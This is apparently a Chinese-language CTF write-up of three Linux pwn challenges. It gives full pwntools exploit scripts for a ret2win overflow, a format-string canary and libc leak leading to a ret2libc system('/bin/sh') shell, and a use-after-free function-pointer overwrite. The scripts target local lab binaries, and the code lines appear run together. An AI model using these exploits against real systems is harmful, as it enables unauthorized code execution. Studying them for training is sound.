ret2win



一个 ret2text 没什么好说的
#!/usr/bin/env python3from pwn import *context(arch='amd64', os='linux')p = process('./starport_ret2win')elf = ELF('./starport_ret2win')rop = ROP(elf)offset = 0x40 + 8win_addr = elf.symbols['win']payload = b'A' * offset + flat( win_addr)p.recvuntil(b'Input access token:\n')p.sendline(payload)p.interactive()
format
前置知识格式化字符串漏洞
安全 printf 参数传递
printf("A = %d, B = %x\n", 123, 0xaaaa)//按照参数调用约定 , 上述三个参数依次存入 `rdi rsi rdx`//那么从 A 开始打印,遇见第一个 %d 从 rsi去取 ,取后继续打印,遇到 %x ,去 rdx 取值,继续打印A = 123 ,B = aaaa那么如果我们直接传入了 buf,例如:
printf(buf) //或者是我们可以自己控制的一个参数,假如 buf上布局 %p %p %p %p由于我们未控制rsi rdx rcx 等寄存器,printf 也会自己去取得当前寄存器里面的值,加入我们传入的格式化字符串足够多,当六个寄存器全被使用后,剩下的根据参数调用约定,printf 会向栈上去取得对应的参数。
我们也可以指定去取第几个参数,例如:
%7$x %7$p//规定了取第七个参数,然后格式化字符串来决定怎么去解释这个参数任意地址写
AAAA%7$n 已经输出了 4 个字符,将 4 写入第七个参数指向的地址,例如第七个参数 0x7f458952 : 04 00 00 00 : 4%100c%7$n,那么已经输出了 100 宽度的字符 0x7f458952 :64 00 00 00%n 写入 4 字节%hn 写入 2 字节%hhn 写入 1 字节赛题部分
checksec

保护基本全开,只有PIE关了

关键漏洞
printf(buf, canary, puts);这里传入了三个参数,其中 rsi 跟 rdx里面分别保存了 canary 和 puts 函数的plt地址,那我们这块可以打一个ret2libc。
我们首先得构造我们的payload,首先确定偏移量,之后我们在我们后面的payload传入elf.got["puts"],利用 %s 读取 puts 的 libc 地址
p.recvuntil(b'Send your format beacon:\n')payload = b'AAAA-' + b'.'.join([f'%{i}$p'.encode() for i in range(1, 30)])p.sendline(payload)print(p.recvline())
可以看见,0x41414141出现在第 10 个位置,即offset = 10 + 6
也可以直接手算,此时 buf在rsp+0x50h,那么对应的偏移量就是80/8 + 6 = 16。不过由于不能保证当调用printf 函数时此时buf就是距离rsp+0x50h的位置,所以最好还是实际泄露计算一下。
#! /usr/bin/env python3from pwn import *context(arch='amd64', os='linux')elf = ELF('./format_station')rop = ROP(elf)libc = ELF('./libc.so.6')p = process('./format_station_patched')p.recvuntil(b'Send your format beacon:\n')payload = b'%1$p.%18$s.END' + b'A' * (16 - len(b'%1$p.%18$s.END')) + p64(elf.got['puts'])p.sendline(payload)data = p.recvuntil(b"Send your access packet:\n")canary = int(data.split(b".", 1)[0], 16)leak = data.split(b".", 1)[1].split(b".END", 1)[0]puts_addr = u64(leak.ljust(8, b"\x00"))libc.address = puts_addr - libc.sym["puts"]print("canary = %#x" % canary)print("puts = %#x" % puts_addr)print("libc = %#x" % libc.address)offset = 0xC8payload = b'A' * offset + p64(canary) + p64(0) + flat( rop.find_gadget(['ret']).address, rop.find_gadget(['pop rdi', 'ret']).address, next(libc.search(b"/bin/sh\x00")), libc.sym['system'])p.sendline(payload)p.interactive()
note

可以看见有四个功能函数,分别是创建 note, 删除 note ,编辑 note 和展示 note,还有一个 win 函数

int create_note(){ _QWORD *v1; // [rsp+0h] [rbp-10h] int i; // [rsp+8h] [rbp-8h] int v3; // [rsp+Ch] [rbp-4h] v3 = -1; for ( i = 0; i <= 7; ++i ) { if ( !*(¬es + i) ) { v3 = i; break; } } if ( v3 < 0 ) return puts("[-] note storage full"); v1 = malloc(0x50u); if ( !v1 ) { puts("[-] malloc failed"); exit(1); } *v1 = safe_print; memset(v1 + 1, 0, 0x48u); puts("Input note content:"); read(0, v1 + 1, 0x47u); *(¬es + v3) = v1; return printf("[+] note created at index %d\n", v3);}经过静态分析,可以看出只能最多创建 8 个 note ,其中有一个 _QWORD *V1 ,就是一个指针,这个指针指向 safe_print 函数地址,同时也是返回的堆起始地址,而memset(v1 + 1, 0, 0x48u); ,是从第 8 字节开始,连续 0x48 字节进行初始化为 0 。那么这个反编译伪代码不妨看得更清楚一些,换成源码。
int create_note() { struct note *new_note; int i; int idx = -1; for (i = 0; i <= 7; i++) { if (notes[i] == NULL) { idx = i; break; } } if (idx < 0) { return puts("[-] note storage full"); } new_note = malloc(0x50); if (new_note == NULL) { puts("[-] malloc failed"); exit(1); } new_note->print = safe_print; memset(new_note->content, 0, 0x48); puts("Input note content:"); read(0, new_note->content, 0x47); notes[idx] = new_note; return printf("[+] note created at index %d\n", idx); }其中对应结构体布局
struct note { void (*print)(struct note *); char content[0x48]; };当我们创建完一个 note 后,内存状态大致是
safe print 8 bytesnote content 0x48 bytes接下来看 delete_note
int delete_note(){ signed int v1; // [rsp+Ch] [rbp-4h] printf("Index: "); v1 = read_int(); if ( (unsigned int)v1 >= 8 || !*(¬es + v1) ) return puts("[-] invalid index"); free(*(¬es + v1)); return puts("[+] note deleted");}这个函数实现了删除指定 note 的功能,但有一个漏洞点就是 free 之后,指针未置空
转换成源码
int delete_note() { int idx; printf("Index: "); idx = read_int(); if ((unsigned int)idx >= 8 || notes[idx] == NULL) { return puts("[-] invalid index"); } free(notes[idx]); return puts("[+] note deleted"); }看 edit_note
int edit_note(){ signed int v1; // [rsp+Ch] [rbp-4h] printf("Index: "); v1 = read_int(); if ( (unsigned int)v1 >= 8 || !*(¬es + v1) ) return puts("[-] invalid index"); puts("Input raw note data:"); read(0, *(¬es + v1), 0x50u); return puts("[+] note updated");}这个也不难理解,刚才指针未置空,那么我们可以直接向悬空指针内写入数据
接下来看 show_note
int show_note(){ signed int v1; // [rsp+Ch] [rbp-4h] printf("Index: "); v1 = read_int(); if ( (unsigned int)v1 < 8 && *(¬es + v1) ) return (*(__int64 (__fastcall **)(_QWORD))*(¬es + v1))(*(¬es + v1)); else return puts("[-] invalid index");}又是又臭又长的伪代码,我们先化简,把 *(¬es + v1) 换成 notes[v1]
return (*(__int64 (__fastcall **)(_QWORD))*(¬es + v1))(*(¬es + v1));
就变成了
return (*(_int64(fastcall **)(_QWORD))notes[v1](notes[v1]);
再拆开看 _int64(fastcall *)(_QWORD) 就是一个函数指针,接受 DWORD 参数 ,返回 int64 ,那多一个 * 就是指向函数指针的指针。而最开始的 * 即解释这个地址,而我们的布局,这个位置正是 safe_print 函数 ,那么我们其实就成了 safe_print(note[v1])。
那么一切都搞清楚了,exp 如下
#! /usr/bin/env python3from pwn import *context(arch='amd64', os='linux')p = process('./orbit_notes')elf = ELF('./orbit_notes')rop = ROP(elf)p.recvuntil(b'> ')p.sendline(b'1')p.recvuntil(b'Input note content:\n')p.sendline(b'A')p.recvuntil(b'> ')p.sendline(b'2')p.recvuntil(b'Index: ')p.sendline(b'0')p.recvuntil(b'> ')p.sendline(b'3')p.recvuntil(b'Index: ')p.sendline(b'0')p.recvuntil(b'Input raw note data:\n')payload = p64(elf.symbols['win']) + b'B' * 8p.sendline(payload)p.recvuntil(b'> ')p.sendline(b'4')p.recvuntil(b'Index: ')p.sendline(b'0')p.interactive()

读者回信
正在翻开留言页...